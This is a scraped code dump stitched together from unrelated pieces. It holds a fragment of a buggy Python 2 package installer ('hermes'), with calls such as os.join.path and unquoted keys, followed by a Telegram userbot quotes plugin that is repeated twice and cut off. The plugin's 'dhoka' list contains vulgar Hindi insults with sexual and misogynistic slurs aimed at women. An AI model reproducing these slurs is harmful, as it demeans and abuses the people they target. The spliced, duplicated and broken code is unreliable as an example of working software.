repository-enabled functionality return True def install_pkg(pkg_id): if runtime_config['install_dependencies']: for dependency in pkg_configs[pkg_id]['dependencies']: if not pkg_installed(dependency): install_pkg(dependency) # actual install code here def main_installer(pkg_list): for pkg_id in pkg_list: if pkg_installed(pkg_id): print pkg_id, 'is already installed.' elif pkg_prepared(pkg_id): install_pkg(pkg_id) else: # Error message return False def pkg_avail(pkg_id): if True: # if archive is in hermes/archives and valid_archive(pkg_id) return True if get_pkg(pkg_id): return True # Error message return False def pkg_config_avail(pkg_id): pkg_config_path = os.path.join(hermes_dir, 'configs', (pkg_id + '.hermes')) if pkg_id in pkg_configs: return True elif os.path.isfile(pkg_config_path): pkg_config = valid_pkg_config(pkg_config_path) if pkg_config: # populate pkg_configs[pkg_id] with contents of pkg_config return True else: # Error message return False elif get_pkg_config(pkg_id): return False # temporary short-circuit (get_pkg_config() is a dummy) pkg_config = valid_pkg_config(pkg_config_path) if pkg_config: # populate pkg_configs[pkg_id] with contents of pkg_config return True else: # Error message return False def pkg_installed(pkg_id): # if symlink in target_dir points at package in hermes/pkg # return True # if symlink in target_dir points elsewhere # deal with conflict # if binary already exists in target_dir # deal with conflict # Error message return False def pkg_prepared(pkg_id): if pkg_installed(pkg_id): return True if not pkg_config_avail(pkg_id): # Error message return False if not pkg_avail(pkg_id): # Error message return False if runtime_config[install_dependencies]: for dependency in pkg_configs[pkg_id][dependencies]: if not pkg_prepared(dependency): # Error message return False return True def populate_runtime_config(): hermes_config = dict() system_config_path = os.path.join(hermes_dir, '.hermes.conf') user_config_path = os.path.expanduser(os.path.join('~', '.hermes.conf')) if os.path.isfile(user_config_path): hermes_config = valid_hermes_config(user_config_path) if not hermes_config and os.path.isfile(system_config_path): hermes_config = valid_hermes_config(system_config_path) if not hermes_config: hermes_config['check_sigs'] = True hermes_config['install_dependencies'] = False hermes_config['target_dir'] = '/usr/local' hermes_config['verify_pkgs'] = True if cli_args['--depends']: runtime_config['install_dependencies'] = True if cli_args['--check-sigs']: runtime_config['check_sigs'] = True if cli_args['--verify']: runtime_config['verify_pkgs'] = True return hermes_config def valid_archive(pkg_id): tarball_name = pkg_id + pkg_configs[pkg_id]['tarball_ext'] tarball_path = os.join.path(hermes_dir, 'archives', tarball_name) if not os.path.isfile(tarball_path): return False if not tarfile.is_tarfile(tarball_path): return False return True def valid_pkg(pkg_id): # if not valid_archive(pkg_id): # Error message # return False # if cli_args[--verify'] and checksum is bad: # Error message # return False # if cli_args['--check-sigs'] and sig is bad: # Error message # return False return True if __name__ == '__main__': cli_args = docopt(__doc__, version='hermes v0.0.1') print cli_args # hermes_dir = os.path.dirname(sh.which('hermes')) hermes_dir = 'hermes' runtime_config = populate_runtime_config() print runtime_config pkg_configs = dict() if cli_args['install']: print 'Installing ', str(cli_args['<pkg>']) main_installer(cli_args['<pkg>'])

pt

userbot/plugins/quotes.py

aksr-aashish/FIREXUSERBOT

13530

import random import requests from FIREX.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp LOVESTR = [ "The best and most beautiful things in this world cannot be seen or even heard, but must be felt with the heart.", "You know you're in love when you can't fall asleep because reality is finally better than your dreams.", "Love recognizes no barriers. It jumps hurdles, leaps fences, penetrates walls to arrive at its destination full of hope.", "Being deeply loved by someone gives you strength, while loving someone deeply gives you courage.", "The real lover is the man who can thrill you by kissing your forehead or smiling into your eyes or just staring into space.", "I swear I couldn't love you more than I do right now, and yet I know I will tomorrow.", "When I saw you I fell in love, and you smiled because you knew it.", "In all the world, there is no heart for me like yours. / In all the world, there is no love for you like mine.", "To love or have loved, that is enough. Ask nothing further. There is no other pearl to be found in the dark folds of life.", "If you live to be a hundred, I want to live to be a hundred minus one day, so I never have to live without you.", "Some love stories aren't epic novels. Some are short stories. But that doesn't make them any less filled with love.", "As he read, I fell in love the way you fall asleep: slowly, and then all at once.", "I've never had a moment's doubt. I love you. I believe in you completely. You are my dearest one. My reason for life.", "Do I love you? My god, if your love were a grain of sand, mine would be a universe of beaches.", "I am who I am because of you.", "I just want you to know that you're very special... and the only reason I'm telling you is that I don't know if anyone else ever has.", "Remember, we're madly in love, so it's all right to kiss me any time you feel like it.", "I love you. I knew it the minute I met you.", "I loved her against reason, against promise, against peace, against hope, against happiness, against all discouragement that could be.", "I love you not because of who you are, but because of who I am when I am with you.", ] DHOKA = [ "Humne Unse Wafa Ki, Aur Dil Bhi Gya Toot, Wo Bhi Chinaal Nikli, Uski Maa ki Chut.", "Dabbe Me Dabba, Dabbe Me Cake ..Tu Chutiya Hai Zara Seesha To Dekh.", "Kaam Se Kaam Rakhoge Toh Naam Hoga, Randi Log Ke Chakkkar Me Padoge to Naam Badnaam Hoga.", "Usne Kaha- Mah Lyf maH Rule, Maine Kaha Bhag BSDK , Tujhy Paida Karna hi Teri Baap ki Sabse Badi Vul.", "Humse Ulajhna Mat, BSDK Teri Hasi Mita Dunga, Muh Me Land Daal Ke..Sari Hosiyaari Gand Se Nikal Dunga.", "Aur Sunau Bhosdiwalo ..Kya Haal Hai?..Tumhare Sakal Se Zayda Toh Tumhare Gand Laal Hai!!", "Pata Nhi Kya Kashish Hai Tumhare Mohabbat Me,Jab Bhi Tumhe Yaad Karta Hu Mera Land Khada Ho Jata Hai.", "Konsa Mohabbat Kounsi Story, Gand Faad Dunga Agr Bolne Aayi Sorry!", "Naam Banta Hai Risk Se, Chutiya Banta Hai IshQ Se.", "Sun Be, Ab Tujhy Mere Zindegi Me Ane ka Koi Haq Nhi,,Aur Tu 1 Number Ki Randi Hai Isme KOi Saq Nhi.", "Beta Tu Chugli Karna Chor De , Hum Ungli Karna Chor Dengy.", ] METOOSTR = [ "Me too thanks", "Haha yes, me too", "Same lol", "Me irl", "Same here", "Haha yes", "Me rn", ] GDNOON = [ "`My wishes will always be with you, Morning wish to make you feel fresh, Afternoon wish to accompany you, Evening wish to refresh you, Night wish to comfort you with sleep, Good Afternoon Dear!`", "`With a deep blue sky over my head and a relaxing wind around me, the only thing I am missing right now is the company of you. I wish you a refreshing afternoon!`", "`The day has come a halt realizing that I am yet to wish you a great afternoon. My dear, if you thought you were forgotten, you’re so wrong. Good afternoon!`", "`Good afternoon! May the sweet peace be part of your heart today and always and there is life shining through your sigh. May you have much light and peace.`", "`With you, every part of a day is beautiful. I live every day to love you more than yesterday. Wishing you an enjoyable afternoon my love!`", "`This bright afternoon sun always reminds me of how you brighten my life with all the happiness. I miss you a lot this afternoon. Have a good time`!", "`Nature looks quieter and more beautiful at this time of the day! You really don’t want to miss the beauty of this time! Wishing you a happy afternoon!`", "`What a wonderful afternoon to finish you day with! I hope you’re having a great time sitting on your balcony, enjoying this afternoon beauty!`", "`I wish I were with you this time of the day. We hardly have a beautiful afternoon like this nowadays. Wishing you a peaceful afternoon!`", "`As you prepare yourself to wave goodbye to another wonderful day, I want you to know that, I am thinking of you all the time. Good afternoon!`", "`This afternoon is here to calm your dog-tired mind after a hectic day. Enjoy the blessings it offers you and be thankful always. Good afternoon!`", "`The gentle afternoon wind feels like a sweet hug from you. You are in my every thought in this wonderful afternoon. Hope you are enjoying the time!`", "`Wishing an amazingly good afternoon to the most beautiful soul I have ever met. I hope you are having a good time relaxing and enjoying the beauty of this time!`", "`Afternoon has come to indicate you, Half of your day’s work is over, Just another half a day to go, Be brisk and keep enjoying your works, Have a happy noon!`", "`Mornings are for starting a new work, Afternoons are for remembering, Evenings are for refreshing, Nights are for relaxing, So remember people, who are remembering you, Have a happy noon!`", "`If you feel tired and sleepy you could use a nap, you will see that it will help you recover your energy and feel much better to finish the day. Have a beautiful afternoon!`", "`Time to remember sweet persons in your life, I know I will be first on the list, Thanks for that, Good afternoon my dear!`", "`May this afternoon bring a lot of pleasant surprises for you and fills you heart with infinite joy. Wishing you a very warm and love filled afternoon!`", "`Good, better, best. Never let it rest. Til your good is better and your better is best. “Good Afternoon`”", "`May this beautiful afternoon fill your heart boundless happiness and gives you new hopes to start yours with. May you have lot of fun! Good afternoon dear!`", "`As the blazing sun slowly starts making its way to the west, I want you to know that this beautiful afternoon is here to bless your life with success and peace. Good afternoon!`", "`The deep blue sky of this bright afternoon reminds me of the deepness of your heart and the brightness of your soul. May you have a memorable afternoon!`", "`Your presence could make this afternoon much more pleasurable for me. Your company is what I cherish all the time. Good afternoon!`", "`A relaxing afternoon wind and the sweet pleasure of your company can make my day complete. Missing you so badly during this time of the day! Good afternoon!`", "`Wishing you an afternoon experience so sweet and pleasant that feel thankful to be alive today. May you have the best afternoon of your life today!`", "`My wishes will always be with you, Morning wish to make you feel fresh, Afternoon wish to accompany you, Evening wish to refresh you, Night wish to comfort you with sleep, Good afternoon dear!`", "`Noon time – it’s time to have a little break, Take time to breathe the warmth of the sun, Who is shining up in between the clouds, Good afternoon!`", "`You are the cure that I need to take three times a day, in the morning, at the night and in the afternoon. I am missing you a lot right now. Good afternoon!`", "`I want you when I wake up in the morning, I want you when I go to sleep at night and I want you when I relax under the sun in the afternoon!`", "`I pray to god that he keeps me close to you so we can enjoy these beautiful afternoons together forever! Wishing you a good time this afternoon!`", "`You are every bit of special to me just like a relaxing afternoon is special after a toiling noon. Thinking of my special one in this special time of the day!`", "`May your Good afternoon be light, blessed, enlightened, productive and happy.`", "`Thinking of you is my most favorite hobby every afternoon. Your love is all I desire in life. Wishing my beloved an amazing afternoon!`", "`I have tasted things that are so sweet, heard words that are soothing to the soul, but comparing the joy that they both bring, I’ll rather choose to see a smile from your cheeks. You are sweet. I love you.`", "`How I wish the sun could obey me for a second, to stop its scorching ride on my angel. So sorry it will be hot there. Don’t worry, the evening will soon come. I love you.`", "`I want you when I wake up in the morning, I want you when I go to sleep at night and I want you when I relax under the sun in the afternoon!`", "`With you every day is my lucky day. So lucky being your love and don’t know what else to say. Morning night and noon, you make my day.`", "`Your love is sweeter than what I read in romantic novels and fulfilling more than I see in epic films. I couldn’t have been me, without you. Good afternoon honey, I love you!`", "`No matter what time of the day it is, No matter what I am doing, No matter what is right and what is wrong, I still remember you like this time, Good Afternoon!`", "`Things are changing. I see everything turning around for my favor. And the last time I checked, it’s courtesy of your love. 1000 kisses from me to you. I love you dearly and wishing you a very happy noon.`", "`You are sometimes my greatest weakness, you are sometimes my biggest strength. I do not have a lot of words to say but let you make sure, you make my day, Good Afternoon!`", "`Every afternoon is to remember the one whom my heart beats for. The one I live and sure can die for. Hope you doing good there my love. Missing your face.`", "`My love, I hope you are doing well at work and that you remember that I will be waiting for you at home with my arms open to pamper you and give you all my love. I wish you a good afternoon!`", "`Afternoons like this makes me think about you more. I desire so deeply to be with you in one of these afternoons just to tell you how much I love you. Good afternoon my love!`", "`My heart craves for your company all the time. A beautiful afternoon like this can be made more enjoyable if you just decide to spend it with me. Good afternoon!`", ] CHASE_STR = [ "Where do you think you're going?", "Huh? what? did they get away?", "ZZzzZZzz... Huh? what? oh, just them again, nevermind.", "`Get back here!`", "`Not so fast...`", "Look out for the wall!", "Don't leave me alone with them!!", "You run, you die.", "`Jokes on you, I'm everywhere`", "You're gonna regret that...", "You could also try /kickme, I hear that's fun.", "`Go bother someone else, no-one here cares.`", "You can run, but you can't hide.", "Is that all you've got?", "I'm behind you...", "You've got company!", "We can do this the easy way, or the hard way.", "You just don't get it, do you?", "Yeah, you better run!", "Please, remind me how much I care?", "I'd run faster if I were you.", "That's definitely the droid we're looking for.", "May the odds be ever in your favour.", "Famous last words.", "And they disappeared forever, never to be seen again.", '"Oh, look at me! I\'m so cool, I can run from a bot!" - this person', "Yeah yeah, just tap /kickme already.", "Here, take this ring and head to Mordor while you're at it.", "eviral has it, they're still running...", "Unlike Harry Potter, your parents can't protect you from me.", "Fear leads to anger. Anger leads to hate. Hate leads to suffering. If you keep running in fear, you might " "be the next Vader.", "Multiple calculations later, I have decided my interest in your shenanigans is exactly 0.", "eviral has it, they're still running.", "Keep it up, not sure we want you here anyway.", "You're a wiza- Oh. Wait. You're not Harry, keep moving.", "NO RUNNING IN THE HALLWAYS!", "Hasta la vista, baby.", "Who let the dogs out?", "It's funny, because no one cares.", "Ah, what a waste. I liked that one.", "Frankly, my dear, I don't give a damn.", "My milkshake brings all the boys to yard... So run faster!", "You can't HANDLE the truth!", "A long time ago, in a galaxy far far away... Someone would've cared about that. Not anymore though.", "Hey, look at them! They're running from the inevitable banhammer... Cute.", "Han shot first. So will I.", "What are you running after, a white rabbit?", "As The Doctor would say... RUN!", ] eviralOSTR = [ "Hi !", "‘Ello, gov'nor!", "What’s crackin’?", "Howdy, howdy ,howdy!", "hello, who's there, I'm talking.", "You know who this is.", "Yo!", "Whaddup.", "Greetings and salutations!", "hello, sunshine!", "`Hey, howdy, hi!`", "What’s kickin’, little chicken?", "Peek-a-boo!", "Howdy-doody!", "`Hey there, freshman!`", "`I come in peace!`", "`I come for peace!`", "Ahoy, matey!", "`Hi !`", ] CONGRATULATION = [ "`Congratulations and BRAVO!`", "`You did it! So proud of you!`", "`This calls for celebrating! Congratulations!`", "`I knew it was only a matter of time. Well done!`", "`Congratulations on your well-deserved success.`", "`Heartfelt congratulations to you.`", "`Warmest congratulations on your achievement.`", "`Congratulations and best wishes for your next adventure!”`", "`So pleased to see you accomplishing great things.`", "`Feeling so much joy for you today. What an impressive achievement!`", ] BYESTR = [ "`Nice talking with you`", "`I've gotta go!`", "`I've gotta run!`", "`I've gotta split`", "`I'm off!`", "`Great to see you,bye`", "`See you soon`", "`Farewell!`", ] GDNIGHT = [ "`Good night keep your dreams alive`", "`Night, night, to a dear friend! May you sleep well!`", "`May the night fill with stars for you. May counting every one, give you contentment!`", "`Wishing you comfort, happiness, and a good night’s sleep!`", "`Now relax. The day is over. You did your best. And tomorrow you’ll do better. Good Night!`", "`Good night to a friend who is the best! Get your forty winks!`", "`May your pillow be soft, and your rest be long! Good night, friend!`", "`Let there be no troubles, dear friend! Have a Good Night!`", "`Rest soundly tonight, friend!`", "`Have the best night’s sleep, friend! Sleep well!`", "`Have a very, good night, friend! You are wonderful!`", "`Relaxation is in order for you! Good night, friend!`", "`Good night. May you have sweet dreams tonight.`", "`Sleep well, dear friend and have sweet dreams.`", "`As we wait for a brand new day, good night and have beautiful dreams.`", "`Dear friend, I wish you a night of peace and bliss. Good night.`", "`Darkness cannot last forever. Keep the hope alive. Good night.`", "`By hook or crook you shall have sweet dreams tonight. Have a good night, buddy!`", "`Good night, my friend. I pray that the good Lord watches over you as you sleep. Sweet dreams.`", "`Good night, friend! May you be filled with tranquility!`", "`Wishing you a calm night, friend! I hope it is good!`", "`Wishing you a night where you can recharge for tomorrow!`", "`Slumber tonight, good friend, and feel well rested, tomorrow!`", "`Wishing my good friend relief from a hard day’s work! Good Night!`", "`Good night, friend! May you have silence for sleep!`", "`Sleep tonight, friend and be well! Know that you have done your very best today, and that you will do your very best, tomorrow!`", "`Friend, you do not hesitate to get things done! Take tonight to relax and do more, tomorrow!`", "`Friend, I want to remind you that your strong mind has brought you peace, before. May it do that again, tonight! May you hold acknowledgment of this with you!`", "`Wishing you a calm, night, friend! Hoping everything winds down to your liking and that the following day meets your standards!`", "`May the darkness of the night cloak you in a sleep that is sound and good! Dear friend, may this feeling carry you through the next day!`", "`Friend, may the quietude you experience tonight move you to have many more nights like it! May you find your peace and hold on to it!`", "`May there be no activity for you tonight, friend! May the rest that you have coming to you arrive swiftly! May the activity that you do tomorrow match your pace and be all of your own making!`", "`When the day is done, friend, may you know that you have done well! When you sleep tonight, friend, may you view all the you hope for, tomorrow!`", "`When everything is brought to a standstill, friend, I hope that your thoughts are good, as you drift to sleep! May those thoughts remain with you, during all of your days!`", "`Every day, you encourage me to do new things, friend! May tonight’s rest bring a new day that overflows with courage and exciting events!`", ] GDMORNING = [ "`Life is full of uncertainties. But there will always be a sunrise after every sunset. Good morning!`", "`It doesn’t matter how bad was your yesterday. Today, you are going to make it a good one. Wishing you a good morning!`", "`If you want to gain health and beauty, you should wake up early. Good morning!`", "`May this morning offer you new hope for life! May you be happy and enjoy every moment of it. Good morning!`", "`May the sun shower you with blessings and prosperity in the days ahead. Good morning!`", "`Every sunrise marks the rise of life over death, hope over despair and happiness over suffering. Wishing you a very enjoyable morning today!`", "`Wake up and make yourself a part of this beautiful morning. A beautiful world is waiting outside your door. Have an enjoyable time!`", "`Welcome this beautiful morning with a smile on your face. I hope you’ll have a great day today. Wishing you a very good morning!`", "`You have been blessed with yet another day. What a wonderful way of welcoming the blessing with such a beautiful morning! Good morning to you!`", "`Waking up in such a beautiful morning is a guaranty for a day that’s beyond amazing. I hope you’ll make the best of it. Good morning!`", "`Nothing is more refreshing than a beautiful morning that calms your mind and gives you reasons to smile. Good morning! Wishing you a great day.`", "`Another day has just started. Welcome the blessings of this beautiful morning. Rise and shine like you always do. Wishing you a wonderful morning!`", "`Wake up like the sun every morning and light up the world your awesomeness. You have so many great things to achieve today. Good morning!`", "`A new day has come with so many new opportunities for you. Grab them all and make the best out of your day. Here’s me wishing you a good morning!`", "`The darkness of night has ended. A new sun is up there to guide you towards a life so bright and blissful. Good morning dear!`", "`Wake up, have your cup of morning tea and let the morning wind freshen you up like a happiness pill. Wishing you a good morning and a good day ahead!`", "`Sunrises are the best; enjoy a cup of coffee or tea with yourself because this day is yours, good morning! Have a wonderful day ahead.`", "`A bad day will always have a good morning, hope all your worries are gone and everything you wish could find a place. Good morning!`", "`A great end may not be decided but a good creative beginning can be planned and achieved. Good morning, have a productive day!`", "`Having a sweet morning, a cup of coffee, a day with your loved ones is what sets your “Good Morning” have a nice day!`", "`Anything can go wrong in the day but the morning has to be beautiful, so I am making sure your morning starts beautiful. Good morning!`", "`Open your eyes with a smile, pray and thank god that you are waking up to a new beginning. Good morning!`", "`Morning is not only sunrise but A Beautiful Miracle of God that defeats the darkness and spread light. Good Morning.`", "`Life never gives you a second chance. So, enjoy every bit of it. Why not start with this beautiful morning. Good Morning!`", "`If you want to gain health and beauty, you should wake up early. Good Morning!`", "`Birds are singing sweet melodies and a gentle breeze is blowing through the trees, what a perfect morning to wake you up. Good morning!`", "`This morning is so relaxing and beautiful that I really don’t want you to miss it in any way. So, wake up dear friend. A hearty good morning to you!`", "`Mornings come with a blank canvas. Paint it as you like and call it a day. Wake up now and start creating your perfect day. Good morning!`", "`Every morning brings you new hopes and new opportunities. Don’t miss any one of them while you’re sleeping. Good morning!`", "`Start your day with solid determination and great attitude. You’re going to have a good day today. Good morning my friend!`", "`Friendship is what makes life worth living. I want to thank you for being such a special friend of mine. Good morning to you!`", "`A friend like you is pretty hard to come by in life. I must consider myself lucky enough to have you. Good morning. Wish you an amazing day ahead!`", "`The more you count yourself as blessed, the more blessed you will be. Thank God for this beautiful morning and let friendship and love prevail this morning.`", "`Wake up and sip a cup of loving friendship. Eat your heart out from a plate of hope. To top it up, a fork full of kindness and love. Enough for a happy good morning!`", "`It is easy to imagine the world coming to an end. But it is difficult to imagine spending a day without my friends. Good morning.`", ] @bot.on(admin_cmd(pattern=f"love$", outgoing=True)) @bot.on(sudo_cmd(pattern='love$', allow_sudo=True)) async def love(e): txt = random.choice(LOVESTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"dhoka$", outgoing=True)) @bot.on(sudo_cmd(pattern='dhoka$', allow_sudo=True)) async def katgya(e): txt = random.choice(DHOKA) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"metoo$", outgoing=True)) @bot.on(sudo_cmd(pattern='metoo$', allow_sudo=True)) async def metoo(e): txt = random.choice(METOOSTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdnoon$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdnoon$', allow_sudo=True)) async def noon(e): txt = random.choice(GDNOON) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"chase$", outgoing=True)) @bot.on(sudo_cmd(pattern='chase$', allow_sudo=True)) async def police(e): txt = random.choice(CHASE_STR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"congo$", outgoing=True)) @bot.on(sudo_cmd(pattern='congo$', allow_sudo=True)) async def Sahih(e): txt = random.choice(CONGRATULATION) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"qhi$", outgoing=True)) @bot.on(sudo_cmd(pattern='qhi$', allow_sudo=True)) async def hoi(e): txt = random.choice(eviralOSTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdbye$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdbye$', allow_sudo=True)) async def bhago(e): txt = random.choice(BYESTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdnyt$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdnyt$', allow_sudo=True)) async def night(e): txt = random.choice(GDNIGHT) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdmng$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdmng$', allow_sudo=True)) async def morning(e): txt = random.choice(GDMORNING) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern="quote ?(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="quote ?(.*)", allow_sudo=True)) async def quote_search(event): if event.fwd_from: return catevent = await edit_or_reply(event, "`Processing...`") input_str = event.pattern_match.group(1) if not input_str: api_url = "https://quotes.cwprojects.live/random" try: response = requests.get(api_url).json() except: response = None else: api_url = f"https://quotes.cwprojects.live/search/query={input_str}" try: response = random.choice(requests.get(api_url).json()) except: response = None if response is not None: await catevent.edit(f"`{response['text']}`") else: await edit_or_reply(catevent, "`Sorry Zero results found`", 5) CmdHelp("quotes").add_command( "quote", None, "Sends a random mind-blowing quote" ).add_command("gdmng", None, "Sends a random Good Morning Quote").add_command( "gdnyt", None, "Sends a random Good Night Quote" ).add_command( "gdbye", None, "Sends a random Good Byee Quote" ).add_command( "qhi", None, "Sends a random hello msg" ).add_command( "congo", None, "Sends a random congratulations quote" ).add_command( "chase", None, "Sends a random Chase quote" ).add_command( "gdnoon", None, "Sends a random Good Afternoon quote" ).add_command( "metoo", None, 'Sends a text saying "Mee too"' ).add_command( "dhoka", None, "Sends a random Dhoka quote(katt gya bc)" ).add_command( "love", None, "Sends a random love quote🥰. (A stage before .dhoka)" ).add()

import random import requests from FIREX.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp LOVESTR = [ "The best and most beautiful things in this world cannot be seen or even heard, but must be felt with the heart.", "You know you're in love when you can't fall asleep because reality is finally better than your dreams.", "Love recognizes no barriers. It jumps hurdles, leaps fences, penetrates walls to arrive at its destination full of hope.", "Being deeply loved by someone gives you strength, while loving someone deeply gives you courage.", "The real lover is the man who can thrill you by kissing your forehead or smiling into your eyes or just staring into space.", "I swear I couldn't love you more than I do right now, and yet I know I will tomorrow.", "When I saw you I fell in love, and you smiled because you knew it.", "In all the world, there is no heart for me like yours. / In all the world, there is no love for you like mine.", "To love or have loved, that is enough. Ask nothing further. There is no other pearl to be found in the dark folds of life.", "If you live to be a hundred, I want to live to be a hundred minus one day, so I never have to live without you.", "Some love stories aren't epic novels. Some are short stories. But that doesn't make them any less filled with love.", "As he read, I fell in love the way you fall asleep: slowly, and then all at once.", "I've never had a moment's doubt. I love you. I believe in you completely. You are my dearest one. My reason for life.", "Do I love you? My god, if your love were a grain of sand, mine would be a universe of beaches.", "I am who I am because of you.", "I just want you to know that you're very special... and the only reason I'm telling you is that I don't know if anyone else ever has.", "Remember, we're madly in love, so it's all right to kiss me any time you feel like it.", "I love you. I knew it the minute I met you.", "I loved her against reason, against promise, against peace, against hope, against happiness, against all discouragement that could be.", "I love you not because of who you are, but because of who I am when I am with you.", ] DHOKA = [ "Humne Unse Wafa Ki, Aur Dil Bhi Gya Toot, Wo Bhi Chinaal Nikli, Uski Maa ki Chut.", "Dabbe Me Dabba, Dabbe Me Cake ..Tu Chutiya Hai Zara Seesha To Dekh.", "Kaam Se Kaam Rakhoge Toh Naam Hoga, Randi Log Ke Chakkkar Me Padoge to Naam Badnaam Hoga.", "Usne Kaha- Mah Lyf maH Rule, Maine Kaha Bhag BSDK , Tujhy Paida Karna hi Teri Baap ki Sabse Badi Vul.", "Humse Ulajhna Mat, BSDK Teri Hasi Mita Dunga, Muh Me Land Daal Ke..Sari Hosiyaari Gand Se Nikal Dunga.", "Aur Sunau Bhosdiwalo ..Kya Haal Hai?..Tumhare Sakal Se Zayda Toh Tumhare Gand Laal Hai!!", "Pata Nhi Kya Kashish Hai Tumhare Mohabbat Me,Jab Bhi Tumhe Yaad Karta Hu Mera Land Khada Ho Jata Hai.", "Konsa Mohabbat Kounsi Story, Gand Faad Dunga Agr Bolne Aayi Sorry!", "Naam Banta Hai Risk Se, Chutiya Banta Hai IshQ Se.", "Sun Be, Ab Tujhy Mere Zindegi Me Ane ka Koi Haq Nhi,,Aur Tu 1 Number Ki Randi Hai Isme KOi Saq Nhi.", "Beta Tu Chugli Karna Chor De , Hum Ungli Karna Chor Dengy.", ] METOOSTR = [ "Me too thanks", "Haha yes, me too", "Same lol", "Me irl", "Same here", "Haha yes", "Me rn", ] GDNOON = [ "`My wishes will always be with you, Morning wish to make you feel fresh, Afternoon wish to accompany you, Evening wish to refresh you, Night wish to comfort you with sleep, Good Afternoon Dear!`", "`With a deep blue sky over my head and a relaxing wind around me, the only thing I am missing right now is the company of you. I wish you a refreshing afternoon!`", "`The day has come a halt realizing that I am yet to wish you a great afternoon. My dear, if you thought you were forgotten, you’re so wrong. Good afternoon!`", "`Good afternoon! May the sweet peace be part of your heart today and always and there is life shining through your sigh. May you have much light and peace.`", "`With you, every part of a day is beautiful. I live every day to love you more than yesterday. Wishing you an enjoyable afternoon my love!`", "`This bright afternoon sun always reminds me of how you brighten my life with all the happiness. I miss you a lot this afternoon. Have a good time`!", "`Nature looks quieter and more beautiful at this time of the day! You really don’t want to miss the beauty of this time! Wishing you a happy afternoon!`", "`What a wonderful afternoon to finish you day with! I hope you’re having a great time sitting on your balcony, enjoying this afternoon beauty!`", "`I wish I were with you this time of the day. We hardly have a beautiful afternoon like this nowadays. Wishing you a peaceful afternoon!`", "`As you prepare yourself to wave goodbye to another wonderful day, I want you to know that, I am thinking of you all the time. Good afternoon!`", "`This afternoon is here to calm your dog-tired mind after a hectic day. Enjoy the blessings it offers you and be thankful always. Good afternoon!`", "`The gentle afternoon wind feels like a sweet hug from you. You are in my every thought in this wonderful afternoon. Hope you are enjoying the time!`", "`Wishing an amazingly good afternoon to the most beautiful soul I have ever met. I hope you are having a good time relaxing and enjoying the beauty of this time!`", "`Afternoon has come to indicate you, Half of your day’s work is over, Just another half a day to go, Be brisk and keep enjoying your works, Have a happy noon!`", "`Mornings are for starting a new work, Afternoons are for remembering, Evenings are for refreshing, Nights are for relaxing, So remember people, who are remembering you, Have a happy noon!`", "`If you feel tired and sleepy you could use a nap, you will see that it will help you recover your energy and feel much better to finish the day. Have a beautiful afternoon!`", "`Time to remember sweet persons in your life, I know I will be first on the list, Thanks for that, Good afternoon my dear!`", "`May this afternoon bring a lot of pleasant surprises for you and fills you heart with infinite joy. Wishing you a very warm and love filled afternoon!`", "`Good, better, best. Never let it rest. Til your good is better and your better is best. “Good Afternoon`”", "`May this beautiful afternoon fill your heart boundless happiness and gives you new hopes to start yours with. May you have lot of fun! Good afternoon dear!`", "`As the blazing sun slowly starts making its way to the west, I want you to know that this beautiful afternoon is here to bless your life with success and peace. Good afternoon!`", "`The deep blue sky of this bright afternoon reminds me of the deepness of your heart and the brightness of your soul. May you have a memorable afternoon!`", "`Your presence could make this afternoon much more pleasurable for me. Your company is what I cherish all the time. Good afternoon!`", "`A relaxing afternoon wind and the sweet pleasure of your company can make my day complete. Missing you so badly during this time of the day! Good afternoon!`", "`Wishing you an afternoon experience so sweet and pleasant that feel thankful to be alive today. May you have the best afternoon of your life today!`", "`My wishes will always be with you, Morning wish to make you feel fresh, Afternoon wish to accompany you, Evening wish to refresh you, Night wish to comfort you with sleep, Good afternoon dear!`", "`Noon time – it’s time to have a little break, Take time to breathe the warmth of the sun, Who is shining up in between the clouds, Good afternoon!`", "`You are the cure that I need to take three times a day, in the morning, at the night and in the afternoon. I am missing you a lot right now. Good afternoon!`", "`I want you when I wake up in the morning, I want you when I go to sleep at night and I want you when I relax under the sun in the afternoon!`", "`I pray to god that he keeps me close to you so we can enjoy these beautiful afternoons together forever! Wishing you a good time this afternoon!`", "`You are every bit of special to me just like a relaxing afternoon is special after a toiling noon. Thinking of my special one in this special time of the day!`", "`May your Good afternoon be light, blessed, enlightened, productive and happy.`", "`Thinking of you is my most favorite hobby every afternoon. Your love is all I desire in life. Wishing my beloved an amazing afternoon!`", "`I have tasted things that are so sweet, heard words that are soothing to the soul, but comparing the joy that they both bring, I’ll rather choose to see a smile from your cheeks. You are sweet. I love you.`", "`How I wish the sun could obey me for a second, to stop its scorching ride on my angel. So sorry it will be hot there. Don’t worry, the evening will soon come. I love you.`", "`I want you when I wake up in the morning, I want you when I go to sleep at night and I want you when I relax under the sun in the afternoon!`", "`With you every day is my lucky day. So lucky being your love and don’t know what else to say. Morning night and noon, you make my day.`", "`Your love is sweeter than what I read in romantic novels and fulfilling more than I see in epic films. I couldn’t have been me, without you. Good afternoon honey, I love you!`", "`No matter what time of the day it is, No matter what I am doing, No matter what is right and what is wrong, I still remember you like this time, Good Afternoon!`", "`Things are changing. I see everything turning around for my favor. And the last time I checked, it’s courtesy of your love. 1000 kisses from me to you. I love you dearly and wishing you a very happy noon.`", "`You are sometimes my greatest weakness, you are sometimes my biggest strength. I do not have a lot of words to say but let you make sure, you make my day, Good Afternoon!`", "`Every afternoon is to remember the one whom my heart beats for. The one I live and sure can die for. Hope you doing good there my love. Missing your face.`", "`My love, I hope you are doing well at work and that you remember that I will be waiting for you at home with my arms open to pamper you and give you all my love. I wish you a good afternoon!`", "`Afternoons like this makes me think about you more. I desire so deeply 